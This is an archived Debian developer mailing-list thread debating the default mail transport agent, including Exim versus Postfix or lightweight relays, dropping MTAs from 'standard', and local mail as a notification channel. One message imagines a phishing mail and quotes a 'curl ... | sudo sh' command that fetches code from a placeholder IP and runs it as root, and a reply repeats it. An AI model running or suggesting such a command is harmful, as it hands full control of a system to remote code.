default MTA

[Marco d'Itri]

Now that we are done with systemd for the time being, can we have the
flame war about replacing Exim with Postfix as the default MTA?

Are there any objections other than "but I like it this way!"?

[Josh Triplett]

In addition to determining the MTA pulled in by default for packages
which require mail-transport-agent in order to function (the provider of
default-mta), I'd like to propose as a release goal that we not have any
MTA in standard anymore. I've actually worked towards this goal for a
while now, and made a fair bit of progress; this mail documents the
remaining work required, most of which is simple dependency/priority
changes and patch application.

Only one package in standard or above currently Depends on a
mail-transport-agent:

- bsd-mailx: should have the same priority as an MTA (optional).

Two packages in standard or above Recommends bsd-mailx (indirectly via
the mailx virtual package):

- exim4-base: moved to optional as part of this goal.

- logrotate; could just Suggests mailx (or use sendmail directly and
Suggests an MTA).

Four packages in standard or above Recommends mail-transport-agent:

- cron: I've already filed bugs on cron (and anacron) with patches to
support sending cronjob output to syslog, so that it will not
disappear into /dev/null without an MTA installed.

- at: I'd argue for this becoming priority optional, though it wouldn't
be particularly hard to write a patch like the one for cron instead.

- procmail: should have the same priority as an MTA (optional)

- mutt: can easily Suggests a mail-transport-agent, since it supports
IMAP and SMTP, leaving aside more exotic configurations like
getmail/fetchmail. (That leaves aside the question of whether mutt
should be standard or optional, but I think either way it should only
Suggests an MTA.)

With the above changes made, all providers of mail-transport-agent could
become priority optional or lower, including the provider of
default-mta.

(To the extent this affects the selection of default-mta, I'd suggest
that it might argue in favor of making default-mta one that only
supports smarthosts and does not queue locally, leaving the choice of
what MTA to run on a mail server up to the end user, but that question
matters a lot less to me than removing MTAs from standard.)

- Josh Triplett

[Holger Levsen]

Hi,

Post by Josh Triplett
In addition to determining the MTA pulled in by default for packages
which require mail-transport-agent in order to function (the provider of
default-mta), I'd like to propose as a release goal that we not have any
MTA in standard anymore.

while I'm not sure I consider removing the MTA from the standard install to be
sensible, I'd like to point out

#508644 Sorting out mail-transport-agent mess

where many questions were already discussed.


cheers,
Holger

[Rodolfo García Peñas (kix)]

Josh Triplett <***@joshtriplett.org> escribió:

[...]

Post by Josh Triplett
- mutt: can easily Suggests a mail-transport-agent, since it supports
IMAP and SMTP, leaving aside more exotic configurations like
getmail/fetchmail. (That leaves aside the question of whether mutt
should be standard or optional, but I think either way it should only
Suggests an MTA.)

I agree with this point. See this bug about this topic:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=670769

Cheers,
kix

Rodolfo García Peñas (kix)
http://www.kix.es/

[Riku Voipio]

Post by Josh Triplett
In addition to determining the MTA pulled in by default for packages
which require mail-transport-agent in order to function (the provider of
default-mta), I'd like to propose as a release goal that we not have any
MTA in standard anymore. I've actually worked towards this goal for a
while now, and made a fair bit of progress; this mail documents the
remaining work required, most of which is simple dependency/priority
changes and patch application.

+1

In this age of spam, installing email server should be explicit decision
by system admin rather that something that becomes automatically when
you install Debian.

Riku

[Marc Haber]

Post by Riku Voipio

Post by Josh Triplett
In addition to determining the MTA pulled in by default for packages
which require mail-transport-agent in order to function (the provider of
default-mta), I'd like to propose as a release goal that we not have any
MTA in standard anymore. I've actually worked towards this goal for a
while now, and made a fair bit of progress; this mail documents the
remaining work required, most of which is simple dependency/priority
changes and patch application.

+1
In this age of spam, installing email server should be explicit decision
by system admin rather that something that becomes automatically when
you install Debian.

What is the danger of having a local email server on the system, in
the way we install exim in the default?

Greetings
Marc

[Neil Williams]

On Thu, 30 May 2013 12:40:03 +0200

Post by Marc Haber

Post by Riku Voipio

Post by Josh Triplett
In addition to determining the MTA pulled in by default for packages
which require mail-transport-agent in order to function (the provider of
default-mta), I'd like to propose as a release goal that we not have any
MTA in standard anymore. I've actually worked towards this goal for a
while now, and made a fair bit of progress; this mail documents the
remaining work required, most of which is simple dependency/priority
changes and patch application.

+1
In this age of spam, installing email server should be explicit decision
by system admin rather that something that becomes automatically when
you install Debian.

What is the danger of having a local email server on the system, in
the way we install exim in the default?

Turn that on it's head:

What is the benefit of having a local email server installed on every
system compared to the space it takes up and the fact that it sits
there unconfigured, doing nothing useful?

So far, the only answer I've come across for that is "because 'at'
depends on it", to which the correct solution is: "apt-get --purge
autoremove at"

[Marc Haber]

On Thu, 30 May 2013 12:28:28 +0100, Neil Williams

Post by Neil Williams
What is the benefit of having a local email server installed on every
system compared to the space it takes up and the fact that it sits
there unconfigured, doing nothing useful?

It sits there with a well reasoned default configuration, taking care
of archiving local notifications from a number of subsystems.

It is our fault that we don't provide an adequate way of presenting
those notifications to the local user by default.

Greetings
Marc

[Neil Williams]

On Thu, 30 May 2013 13:54:35 +0200

Post by Marc Haber
On Thu, 30 May 2013 12:28:28 +0100, Neil Williams

Post by Neil Williams
What is the benefit of having a local email server installed on every
system compared to the space it takes up and the fact that it sits
there unconfigured, doing nothing useful?

It sits there with a well reasoned default configuration, taking care
of archiving local notifications from a number of subsystems.

There are many systems where such notifications will never be generated
and besides, why isn't /var/log/ suitable for those? (at least as a
fallback?)

It's not a huge issue because the kinds of systems I have in mind will
use multistrap or debootstrap, not d-i, to do the installation so
standard doesn't usually get installed at all.

However, these systems work perfectly well without any MTA and the lack
of notifications is *not* a valid reason to impose an MTA upon them.

There is absolutely no reason why adding Priority: standard to such
systems should impose an MTA.

[Arno Töll]

Hi,

Post by Marco d'Itri
Now that we are done with systemd for the time being, can we have the
flame war about replacing Exim with Postfix as the default MTA?

I like Postfix and I use it everywhere I need a matured MTA. But I
wonder, what the benefit would be to replace a full blown MTA by another
one?

Why not consider something light, better suited for most systems which
need nothing but a sendmail binary which is suited to relay to a
real(tm) mail-server and deliver local mail and does not involve lots of
configuration and/or listening ports?

Assuming we can fix the dma situation (#671364) I'd rather consider that
one a (possible) future default MTA.

[Adam Borowski]

Post by Arno Töll
Why not consider something light, better suited for most systems which
need nothing but a sendmail binary which is suited to relay to a
real(tm) mail-server and deliver local mail and does not involve lots of
configuration and/or listening ports?

+1000.

Unlike some who want to eliminate m-t-a completely, and have notifications
about failing RAID, nightly rsync cronjob being broken, etc, kindly
delivered to /dev/null by this week's proprietary invention of $DESKTOP_ENV,
I think a m-t-a is still vital on an UNIX system.

Having a way to send outgoing mail without having to configure every single
program to do so is nice, too.

Those who want to run a real mail server will install know how to install a
full-blown m-t-a. And for example I accept mail on only two machines, one
being a standby for the second.

There's no reason for a mail daemon to listen on the network, or even to
reside in memory, on the rest. All you need is /usr/sbin/sendmail which can
deliver remote mail remotely, and local mail locally.

Post by Arno Töll

Post by Marco d'Itri
Now that we are done with systemd for the time being, can we have the
flame war about replacing Exim with Postfix as the default MTA?

I for one find Postfix's config outright bizarre. And compared to exim,
that's quite an achievement. (Let's not even mention the name of The
Champ.) So it'd not fit as a default.

So let's replace exim with something simple, efficient and lightweight.

[Scott Kitterman]

Post by Adam Borowski

Post by Arno Töll
Why not consider something light, better suited for most systems

which

Post by Arno Töll
need nothing but a sendmail binary which is suited to relay to a
real(tm) mail-server and deliver local mail and does not involve lots

of

Post by Arno Töll
configuration and/or listening ports?

+1000.
Unlike some who want to eliminate m-t-a completely, and have
notifications
about failing RAID, nightly rsync cronjob being broken, etc, kindly
delivered to /dev/null by this week's proprietary invention of
$DESKTOP_ENV,
I think a m-t-a is still vital on an UNIX system.
Having a way to send outgoing mail without having to configure every single
program to do so is nice, too.
Those who want to run a real mail server will install know how to install a
full-blown m-t-a. And for example I accept mail on only two machines, one
being a standby for the second.
There's no reason for a mail daemon to listen on the network, or even to
reside in memory, on the rest. All you need is /usr/sbin/sendmail which can
deliver remote mail remotely, and local mail locally.

Post by Arno Töll

Post by Marco d'Itri
Now that we are done with systemd for the time being, can we have

the

Post by Arno Töll

Post by Marco d'Itri
flame war about replacing Exim with Postfix as the default MTA?

I for one find Postfix's config outright bizarre. And compared to exim,
that's quite an achievement. (Let's not even mention the name of The
Champ.) So it'd not fit as a default.
So let's replace exim with something simple, efficient and lightweight.

It might help if we used a bit more precision in terimonolgy. "Not a full blown MTA" as described here is a Mail Submission Agent (MSA). See RFC 5598 for details:

http://tools.ietf.org/html/rfc5598#section-4.3.1

I think MSA instead of MTA by default is a reasonable discussion point (personally I use postfix as an MSA and it's trivial to set up via debconf, but I understand not everyone will want to do that ). Let's decide MTA or MSA first and then decide what color we want to paint the MSA bikeshed later if that's the way the decision goes.

Scott K

[Adam Borowski]

Post by Scott Kitterman
It might help if we used a bit more precision in terimonolgy. "Not a full
blown MTA" as described here is a Mail Submission Agent (MSA). See RFC
http://tools.ietf.org/html/rfc5598#section-4.3.1

A mere MSA cannot handle local mail. One such example is ssmtp which
doesn't know how to deliver rejections if it can't reach the smarthost,
making all failure notifications outright lost.

I don't think there's a name for a no-listen MTA.

There's no point in prolonged discussions about naming, though. Just decide
if you're allergic to that rose smell :)

[Don Armstrong]

Post by Arno Töll
Why not consider something light, better suited for most systems which
need nothing but a sendmail binary which is suited to relay to a
real(tm) mail-server and deliver local mail and does not involve lots
of configuration and/or listening ports?

nullmailer or similar can do this fairly well. You really only need to
have 1) configured the remote smart host 2) a remote e-mail address to
send all local mail to.

[More complicated configurations of 2 should be supported so that you
can have simple mappings, but that's not really required.]
--
Don Armstrong http://www.donarmstrong.com

"You have many years to live--do things you will be proud to remember
when you are old."
-- Shinka proverb. (John Brunner _Stand On Zanzibar_ p413)

[Carlos Alberto Lopez Perez]

Post by Don Armstrong

Post by Arno Töll
Why not consider something light, better suited for most systems which
need nothing but a sendmail binary which is suited to relay to a
real(tm) mail-server and deliver local mail and does not involve lots
of configuration and/or listening ports?

nullmailer or similar can do this fairly well. You really only need to
have 1) configured the remote smart host 2) a remote e-mail address to
send all local mail to.

We already (I believe) ship exim4-daemon-light as default MTA. I don't
know how much lighter are the alternatives like dma or nullmailer.

I tried both, and I ended going back to exim4-daemon-light because of
the problems I had with them (#686164 #697871 and #329192).

So I'm not sure if is worth the effort changing the default MTA.


Does anybody recommend any light MTA other than this ones?

[Chris Knadle]

Post by Carlos Alberto Lopez Perez

Post by Don Armstrong

Post by Arno Töll
Why not consider something light, better suited for most systems which
need nothing but a sendmail binary which is suited to relay to a
real(tm) mail-server and deliver local mail and does not involve lots
of configuration and/or listening ports?

nullmailer or similar can do this fairly well. You really only need to
have 1) configured the remote smart host 2) a remote e-mail address to
send all local mail to.

We already (I believe) ship exim4-daemon-light as default MTA. I don't
know how much lighter are the alternatives like dma or nullmailer.
I tried both, and I ended going back to exim4-daemon-light because of
the problems I had with them (#686164 #697871 and #329192).

Similarly, a while back I tried using the ssmtp package (on an embedded
system) and ran into problems because it doesn't spool messages, so any
sending failure (such as are caused by greylisting) causes messages to get
lost.

Post by Carlos Alberto Lopez Perez
So I'm not sure if is worth the effort changing the default MTA.
Does anybody recommend any light MTA other than this ones?

The only reason I know of to run something lighter than exim4-daemon-light is
if you need an MTA on an embedded system. Embedded systems are a special case
because local storage is a premium, and the local storage is likely flash
which has limited rewrite cycles. Even here my preferred solution here is to
increase the local storage enough to run exim4-daemon-light, because that's
been reliable for me.

-- Chris

--
Chris Knadle
***@coredump.us
GPG Key: 4096R/0x1E759A726A9FDD74

[Jonathan Dowland]

Post by Marco d'Itri
Now that we are done with systemd for the time being, can we have the
flame war about replacing Exim with Postfix as the default MTA?
Are there any objections other than "but I like it this way!"?

As things stand, for the vast majority of users the actual MTA that is deployed
is irrelevant, as their only interface to it is via the debconf stuff which has
been engineered on top. (one might ask: why bother switching?)

Personally I've settled on using exim as an MTA everywhere, as a consequence of
it being the default MTA, however I have no objection with it being replaced by
default. (In fact I find the debconf engineering hinders rather than helps as
soon as you want to do anything complicated. Perhaps the need for some much
structure would go if it were not the default MTA.)

There is an impedence mismatch between packages which consider an MTA and the
sendmail interface to be standard and those desktop components that make no
such assumption. If we are going to keep ensuring a local MTA/sendmail interface
going forward, I'd love to see it better integrated into the desktop stack. (In
fact I still battle debconf-stuff-on-top-of-exim from time to time, when I have
a system where I don't want any local mail.)

I'd be interested in reading the arguments for switching: can you point my at
some relevant historic threads?


Thanks

[Josselin Mouette]

Post by Jonathan Dowland
There is an impedence mismatch between packages which consider an MTA and the
sendmail interface to be standard and those desktop components that make no
such assumption. If we are going to keep ensuring a local MTA/sendmail interface
going forward, I'd love to see it better integrated into the desktop stack. (In
fact I still battle debconf-stuff-on-top-of-exim from time to time, when I have
a system where I don't want any local mail.)

I don’t think desktop components lack integration with the MTA. For
example, evolution will use /usr/sbin/sendmail by default. The problem
is that usually, the MTA will not be configured to do anything useful,
so users are better off using an external SMTP server, usually with
authentication.
--
.''`. Josselin Mouette
: :' :
`. `'
`-

[Adam Borowski]

Post by Josselin Mouette

Post by Jonathan Dowland
There is an impedence mismatch between packages which consider an MTA and the
sendmail interface to be standard and those desktop components that make no
such assumption. If we are going to keep ensuring a local MTA/sendmail interface
going forward, I'd love to see it better integrated into the desktop stack. (In
fact I still battle debconf-stuff-on-top-of-exim from time to time, when I have
a system where I don't want any local mail.)

I don’t think desktop components lack integration with the MTA. For
example, evolution will use /usr/sbin/sendmail by default. The problem
is that usually, the MTA will not be configured to do anything useful,
so users are better off using an external SMTP server, usually with
authentication.

Being able to send outgoing mail, and to handle local (such as SMTP rejects
or notifications from system daemons) seems plenty useful to me.

[Josselin Mouette]

Post by Adam Borowski
Being able to send outgoing mail, and to handle local (such as SMTP rejects
or notifications from system daemons) seems plenty useful to me.

Most clients (apart maybe from mailx) can use an external SMTP server to
send email.

And on desktop systems, nobody reads local email. We might want to think
of a better notification system, but email is definitely not fit for
that anymore.
--
.''`. Josselin Mouette
: :' :
`. `'
`-

[Redalert Commander]

Post by Josselin Mouette

Post by Adam Borowski
Being able to send outgoing mail, and to handle local (such as SMTP rejects
or notifications from system daemons) seems plenty useful to me.

Most clients (apart maybe from mailx) can use an external SMTP server to
send email.
And on desktop systems, nobody reads local email. We might want to think
of a better notification system, but email is definitely not fit for
that anymore.

I don't think that is true at all. Personally, I use it to get the
reports from smartd,
from btrfs scrub cron jobs, other cron jobs, the changelogs for updated packages
get mailed there, which I really like (happens only with certain packages).
It certainly makes my life easier.
I imagine a lot of people on a desktop use it, admittedly not everyone.
I do like the proposal to replace the current default MTA with a more
lightweight system for desktops,
but to remove it completely doesn't seem like a good idea to me.

Regards,
Steven

[Simon McVittie]

Post by Redalert Commander

Post by Josselin Mouette
And on desktop systems, nobody reads local email. We might want to think
of a better notification system, but email is definitely not fit for
that anymore.

I don't think that is true at all. Personally, I use it to get the
reports from smartd,
from btrfs scrub cron jobs, other cron jobs, the changelogs for updated packages
get mailed there, which I really like (happens only with certain packages).

The participants in this thread are debian-devel subscribers: the sort
of people who know that Debian is a Unix system, know what a Unix system
is, and have some idea of what a "btrfs scrub cron job", or indeed an
MTA, means. That's a pretty limiting audience for an operating system.
The Universal Operating System should also be usable by people who don't
meet those criteria, and I think Joss is right to speak up on their behalf.

I'm quite prepared to believe that *our* Unix systems - and in
particular, servers and development machines - need an MTA, but my
parents' laptops really shouldn't need one. Ideally, we can have a
sensible default that is suitable for both experts and non-experts; but
if we can't, then the non-experts should probably have priority. After
all, the sort of people who read debian-devel know how to switch away
from a default MTA that isn't suitable for us, but my parents don't even
know that they *have* an MTA.

(Actually, the only reasons *my* laptop needs a working sendmail these
days are reportbug and bts, and until I got round to configuring
Postfix, my sendmail was a shell script to ssh into my email server and
submit the mail there. In some ways I'd rather just have syslog and
remote SMTP+IMAP.)

S

[Redalert Commander]

2013/5/28 Simon McVittie <***@debian.org>:
[...]

Post by Simon McVittie
The participants in this thread are debian-devel subscribers: the sort
of people who know that Debian is a Unix system, know what a Unix system
is, and have some idea of what a "btrfs scrub cron job", or indeed an
MTA, means. That's a pretty limiting audience for an operating system.
The Universal Operating System should also be usable by people who don't
meet those criteria, and I think Joss is right to speak up on their behalf.
I'm quite prepared to believe that *our* Unix systems - and in
particular, servers and development machines - need an MTA, but my
parents' laptops really shouldn't need one. Ideally, we can have a
sensible default that is suitable for both experts and non-experts; but
if we can't, then the non-experts should probably have priority. After
all, the sort of people who read debian-devel know how to switch away
from a default MTA that isn't suitable for us, but my parents don't even
know that they *have* an MTA.

I agree that a lot of (if not most) non-tech people probably don't use it, I do
see some benefits to this as opposed to desktop notifications. I
believe there was
a similar discussion going on about Ubuntu update notifications a few years ago,
when they started just popping up the update-manager window. My point here
being that those e-mails are more persistent than some notification
that can easily
get lost. Or perhaps there should be a more permanent system for such
notifications.
I'm not talking about the output of the btrfs scrub, but consider
important messages
on upgrades, such as were some things break compatibility with something and the
user needs to know that. For instance as the consequence of a security fix,
something no longer works (java applet? Instant messaging application?
that sort of
thing). You don't want a volatile message that they can't review after a reboot,
maybe they haven't even seen it if they ware away from the computer.
Also the e-mail doesn't get in the way of things, your work doesn't
get interrupted
by an e-mail, whereas desktop notifications may be more intrusive.

Perhaps there is a need for more permanent desktop notifications,
besides the current one-time notifications such as "USB storage drive has
been detected". Something that persists a reboot. I don't know, I'm
just brainstorming here.

[Jonathan Dowland]

Hi Simon,

Post by Simon McVittie
The participants in this thread are debian-devel subscribers: the sort
of people who know that Debian is a Unix system, know what a Unix system
is, and have some idea of what a "btrfs scrub cron job", or indeed an
MTA, means. That's a pretty limiting audience for an operating system.
The Universal Operating System should also be usable by people who don't
meet those criteria, and I think Joss is right to speak up on their behalf.

I think the problem is that Aunt Tilly will stumble across packages which
expect a working sendmail whether or not they are ready for them: they'll read
advice suggesting they should have smartd/smartmontools running; or they'll
install some other semi-random Debian package after performing a search for a
tool to solve a specific task, which supposes that mail works. We were all
Aunt Tillys, once, and I certainly had this experience (although in my day
everyone faced the exim3 configuration stuff on a fresh install. Not that I'm
advocating that for a minute.)

Such novices may well have no idea what cron or at are, but once they begin
reading around to try and solve problems like scheduling things, they'll
soon stumble across them.

To address this problem, I think we have to either adjust all packages which
expect a working sendmail to use some other universal local messaging system or
better configure the system (including the desktop) to handle local mail, as
Adam suggests. I don't think the former solution is viable, not least because
there is no alternative, universal local messaging system to switch to.

[Thomas Goirand]

Post by Josselin Mouette
And on desktop systems, nobody reads local email. We might want to think
of a better notification system, but email is definitely not fit for
that anymore.

I do read the mails that my system is sending me (smartd, cron, mdadm,
etc.), and I like the feature to receive such notifications in my inbox.
If you want to reinvent the wheel, and have notification for example in
a gnome popping bubble thing, feel free. But please do it as an option,
and do not impose such choice to everyone.

I'm fine with whatever default you choose, if at least I can keep things
running as I'm used to though, and if there's an *easy* way (eg: not
hidden in a dpkg-reconfigure or an obscure config file) to select the
old behavior (for example, with an easily reachable option in d-i).

Post by Josselin Mouette
The participants in this thread are debian-devel subscribers: the sort
of people who know that Debian is a Unix system, know what a Unix
system is, and have some idea of what a "btrfs scrub cron job", or
indeed an MTA, means. That's a pretty limiting audience for an
operating system. The Universal Operating System should also be
usable by people who don't meet those criteria, and I think Joss is
right to speak up on their behalf.

If we want to be universal, that means we satisfy all cases, and we do
not limit ourselves to the choices of the majority only.

Post by Josselin Mouette
I'm quite prepared to believe that *our* Unix systems - and in
particular, servers and development machines - need an MTA, but my
parents' laptops really shouldn't need one.

Are you saying that they don't know what a mail server is, but they
installed Debian on their own, and made the choice of Debian as well on
their own? I'm having a hard time believing this, which is why I'm asking.

A few remarks here:

1/ Your parents don't read mail? That is surprising to me. In this days
and age, everyone does.

2/ Can't you configure their system to send *you* the system
notifications so that you can fix a problem? That is a very nice feature
to have.

3/ If you want them to receive the system notification, it's nice as
well to get it by email, because this way, they can forward you anything
that they don't understand.

The point is: did you at least configure the root alias, so that it gets
forwarded to a mailbox which someone actually reads?

Post by Josselin Mouette
Ideally, we can have a sensible default that is suitable for both
experts and non-experts; but if we can't, then the non-experts should
probably have priority.

I'm not sure I agree with the above. I'm fine with Debian being the OS
for the experts.

Post by Josselin Mouette
but my parents don't even know that they *have* an MTA.

They don't have to know. If at least they receive the system
notifications in their inbox, or if you do, then everything is fine.

Thomas

[Simon McVittie]

Post by Thomas Goirand

Post by Simon McVittie
I'm quite prepared to believe that *our* Unix systems - and in
particular, servers and development machines - need an MTA, but my
parents' laptops really shouldn't need one.

Are you saying that they don't know what a mail server is, but they
installed Debian on their own, and made the choice of Debian as well on
their own?

I didn't say that, but as it happens, yes they've installed Debian on at
least one laptop. Without my influence it would probably have been
Ubuntu instead of Debian.

Post by Thomas Goirand
Your parents don't read mail? That is surprising to me. In this days
and age, everyone does.

They read mail received on a remote server (mine, their ISP's, or
Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
them not to use that). It has nothing to do with the local machine's MTA
(or lack of).

In principle I suppose Icedove could start up with a "local mbox"
account pre-configured... but is that really where users would/should
expect to find system notifications? I suspect we only use email as a
system-level notification mechanism because "it's how Unix has always
worked". How much sense does it really make to have potentially
security-sensitive messages from the local machine, whose content you
ought to be able to trust, turn up in the same place as "postcards from
the Internet"?

(Writing that makes me wonder about the phishing potential of spoofing
mails from, say, apticron. "To upgrade these packages, simply type:
'curl http://198.51.100.6/dist-upgrade | sudo sh'"?)

Post by Thomas Goirand
Can't you configure their system to send *you* the system
notifications so that you can fix a problem?

I could, but for machines where it isn't really needed, life's too short
to set up the necessary TLS/SASL to get root mail off the system
without leaking its contents (and a SMTP password) to everyone on the
same coffee shop wifi. Receiving root mail isn't going to change my
advice ("update packages when the system tells you to, and tell me if
things stop working"), is one more non-user-visible feature to monitor
and keep working, and the majority of user-level brokenness (e.g.
browser plugins out of date, applications crashing) isn't visible at a
system level anyway.

Post by Thomas Goirand

Post by Simon McVittie
Ideally, we can have a sensible default that is suitable for both
experts and non-experts; but if we can't, then the non-experts should
probably have priority.

I'm not sure I agree with the above. I'm fine with Debian being the OS
for the experts.

That's a shame; I think it should be for everyone (including, but
not limited to, experts).

S

[Lars Wirzenius]

Post by Simon McVittie

Post by Thomas Goirand
I'm not sure I agree with the above. I'm fine with Debian being the OS
for the experts.

That's a shame; I think it should be for everyone (including, but
not limited to, experts).

+1

[Thomas Goirand]

Post by Simon McVittie

Post by Thomas Goirand
Your parents don't read mail? That is surprising to me. In this days
and age, everyone does.

They read mail received on a remote server (mine, their ISP's, or
Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
them not to use that). It has nothing to do with the local machine's MTA
(or lack of).

It has everything to do with it. Just setup the mail for root to be sent
to whatever email address they use. That's it, problem solved.

Post by Simon McVittie
In principle I suppose Icedove could start up with a "local mbox"
account pre-configured... but is that really where users would/should
expect to find system notifications?

They should expect to receive it in their "main" mailbox.

Post by Simon McVittie
I suspect we only use email as a
system-level notification mechanism because "it's how Unix has always
worked". How much sense does it really make to have potentially
security-sensitive messages from the local machine, whose content you
ought to be able to trust, turn up in the same place as "postcards from
the Internet"?

If you don't like your current mail provider, and think he's not safe,
just change that provider and use something better. This has absolutely
nothing to do with the matter discussed here.

Post by Simon McVittie

Post by Thomas Goirand
Can't you configure their system to send *you* the system
notifications so that you can fix a problem?

I could, but for machines where it isn't really needed, life's too short
to set up the necessary TLS/SASL to get root mail off the system
without leaking its contents (and a SMTP password) to everyone on the
same coffee shop wifi.

Oh ok. So the real answer: you don't really care.

Thomas

[Tzafrir Cohen]

Post by Simon McVittie

Post by Thomas Goirand

Post by Simon McVittie
I'm quite prepared to believe that *our* Unix systems - and in
particular, servers and development machines - need an MTA, but my
parents' laptops really shouldn't need one.

Are you saying that they don't know what a mail server is, but they
installed Debian on their own, and made the choice of Debian as well on
their own?

I didn't say that, but as it happens, yes they've installed Debian on at
least one laptop. Without my influence it would probably have been
Ubuntu instead of Debian.

Post by Thomas Goirand
Your parents don't read mail? That is surprising to me. In this days
and age, everyone does.

They read mail received on a remote server (mine, their ISP's, or
Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
them not to use that). It has nothing to do with the local machine's MTA
(or lack of).
In principle I suppose Icedove could start up with a "local mbox"
account pre-configured... but is that really where users would/should
expect to find system notifications?

What's wrong with that?

Post by Simon McVittie
I suspect we only use email as a
system-level notification mechanism because "it's how Unix has always
worked". How much sense does it really make to have potentially
security-sensitive messages from the local machine, whose content you
ought to be able to trust, turn up in the same place as "postcards from
the Internet"?

Can you please give an example of such a message?

Which local user should not be getting it? Is it the same local user
that the standard desktop setting rely on to upgrade packages?

In which alternative notifications mechanism that message would not
reach that user?

Post by Simon McVittie
(Writing that makes me wonder about the phishing potential of spoofing
'curl http://198.51.100.6/dist-upgrade | sudo sh'"?)

They would not land in the local mailbox.

Post by Simon McVittie

Post by Thomas Goirand
Can't you configure their system to send *you* the system
notifications so that you can fix a problem?

I could, but for machines where it isn't really needed, life's too short
to set up the necessary TLS/SASL to get root mail off the system
without leaking its contents (and a SMTP password) to everyone on the
same coffee shop wifi.

I don't follow that. If you send mail from the system one way or the
other, you send your credentials over the wire. Setting up TLS / SASL is
not complicated in postfix and should not be complicated in a
well-wrriten MTA just as it is not complicated in your desktop mail
client.

So this "SHOULD NOT BE" is a required feature?

[Javier Fernandez-Sanguino]

Post by Josselin Mouette
And on desktop systems, nobody reads local email. We might want to think
of a better notification system, but email is definitely not fit for
that anymore.

On desktop systems nobody reads local email because IIRC the default
email client applications do not present local email to the end-user.
Only when somebody configures, post-installation, is this local e-mail
visible.

On the other hand, on system installation we currently configure which
user account e-mail to root@ is sent to (or ask the user if he selects
a low debconf priority) and some packages will setup some tasks that
send mail to the root account which the end-user does not currently
see.

I'm not saying that email is a good notification system, but there are
definitely currently many sub-systems that use it (such as cron and
default cron tasks configured through packages). Not presenting this
information to the end-user is actually hiding problems.

Regardless of what local MTA we provide, as long as we provide one,
IMHO we should try to have local email presented to the end-user in
the default installation (i.e. in the desktop).


Regardless


Javier

[Marc Haber]

On Wed, 29 May 2013 16:07:18 +0200, Javier Fernandez-Sanguino

Post by Javier Fernandez-Sanguino

Post by Josselin Mouette
And on desktop systems, nobody reads local email. We might want to think
of a better notification system, but email is definitely not fit for
that anymore.

On desktop systems nobody reads local email because IIRC the default
email client applications do not present local email to the end-user.
Only when somebody configures, post-installation, is this local e-mail
visible.

So we should provide means so that any newly-installed MUA sees the
local mail of the system first.

But, alas, people are going to report every single mail in the local
mailbox als Spam to their ISP.

Post by Javier Fernandez-Sanguino
I'm not saying that email is a good notification system, but there are
definitely currently many sub-systems that use it (such as cron and
default cron tasks configured through packages). Not presenting this
information to the end-user is actually hiding problems.

Yes. And many systems have intermittent connectivity, which rules out
non-queueing mini-MTAs. Exim does the Job pretty well, and people who
know what an MTA is will probably install their own anyway, so there
is no need to change.

Greetings
Marc

[Andrei POPESCU]

Post by Marc Haber
Yes. And many systems have intermittent connectivity, which rules out
non-queueing mini-MTAs. Exim does the Job pretty well, and people who
know what an MTA is will probably install their own anyway, so there
is no need to change.

Exim is a listening daemon, even if it listens only on localhost in the
default configuration. I'd prefer dma instead.

Kind regards,
Andrei

[Chris Knadle]

Post by Andrei POPESCU

Post by Marc Haber
Yes. And many systems have intermittent connectivity, which rules out
non-queueing mini-MTAs. Exim does the Job pretty well, and people who
know what an MTA is will probably install their own anyway, so there
is no need to change.

Exim is a listening daemon, even if it listens only on localhost in the
default configuration. I'd prefer dma instead.

Exim has options not to run a listening daemon. From /etc/default/exim4:


# 'combined' - one daemon running queue and listening on SMTP port
# 'no' - no daemon running the queue
# 'separate' - two separate daemons
# 'ppp' - only run queue with /etc/ppp/ip-up.d/exim4.
# 'nodaemon' - no daemon is started at all.
# 'queueonly' - only a queue running daemon is started, no SMTP listener.
# setting this to 'no' will also disable queueruns from /etc/ppp/ip-up.d/exim4
QUEUERUNNER='combined'


The 'queueonly' option has a daemon that processes the queue for mail sent
locally via 'sendmail', yet has no listening port at all.

-- Chris

--
Chris Knadle
***@coredump.us
GPG Key: 4096R/0x1E759A726A9FDD74

[Russ Allbery]

Post by Andrei POPESCU

Post by Marc Haber
Yes. And many systems have intermittent connectivity, which rules out
non-queueing mini-MTAs. Exim does the Job pretty well, and people who
know what an MTA is will probably install their own anyway, so there is
no need to change.

Exim is a listening daemon, even if it listens only on localhost in the
default configuration. I'd prefer dma instead.

It's better to have a listening daemon on localhost. There's no security
threat, and there's some software that can't handle invoking a sendmail
binary and always wants to speak SMTP to some port. I've run into this
with both Java and PHP applications. This is, of course, possible to fix,
but I can understand why Java programmers aren't thrilled by the idea of
adding UNIX-specific code to fork and execute a program (which is
something that you generally don't want to do in Java, since it's very
expensive, and which is not portable), and similarly why web developers
aren't enthused by fork and exec in a mod_php or similar context inside a
possibly threaded web server.

[Andrei POPESCU]

Post by Russ Allbery

Post by Andrei POPESCU
Exim is a listening daemon, even if it listens only on localhost in the
default configuration. I'd prefer dma instead.

It's better to have a listening daemon on localhost. There's no security
threat, and there's some software that can't handle invoking a sendmail
binary and always wants to speak SMTP to some port. I've run into this
with both Java and PHP applications. This is, of course, possible to fix,
but I can understand why Java programmers aren't thrilled by the idea of
adding UNIX-specific code to fork and execute a program (which is
something that you generally don't want to do in Java, since it's very
expensive, and which is not portable), and similarly why web developers
aren't enthused by fork and exec in a mod_php or similar context inside a
possibly threaded web server.

Maybe it makes sense to have virtual packages like mta-daemon,
mta-forwarder, etc.? (regardless of which, if any, is installed by
default)

Kind regards,
Andrei

[Marc Haber]

On Thu, 30 May 2013 10:18:07 +0300, Andrei POPESCU

Post by Andrei POPESCU
Maybe it makes sense to have virtual packages like mta-daemon,
mta-forwarder, etc.? (regardless of which, if any, is installed by
default)

Show code, or at least an explanation about how you intend to do that.
How will, for example, the virtual package provided by exim change
depending on the setting for the QUEUERUNNER config option?

Greetings
Marc

[Marc Haber]

On Wed, 29 May 2013 23:12:39 +0300, Andrei POPESCU

Post by Andrei POPESCU

Post by Marc Haber
Yes. And many systems have intermittent connectivity, which rules out
non-queueing mini-MTAs. Exim does the Job pretty well, and people who
know what an MTA is will probably install their own anyway, so there
is no need to change.

Exim is a listening daemon, even if it listens only on localhost in the
default configuration.

It comes listening on localhost in default configuration. It can be
trivially configured not to listen at all, or to listen on all
interfaces.

Greetings
Marc

[Mike Hommey]

Post by Josselin Mouette

Post by Jonathan Dowland
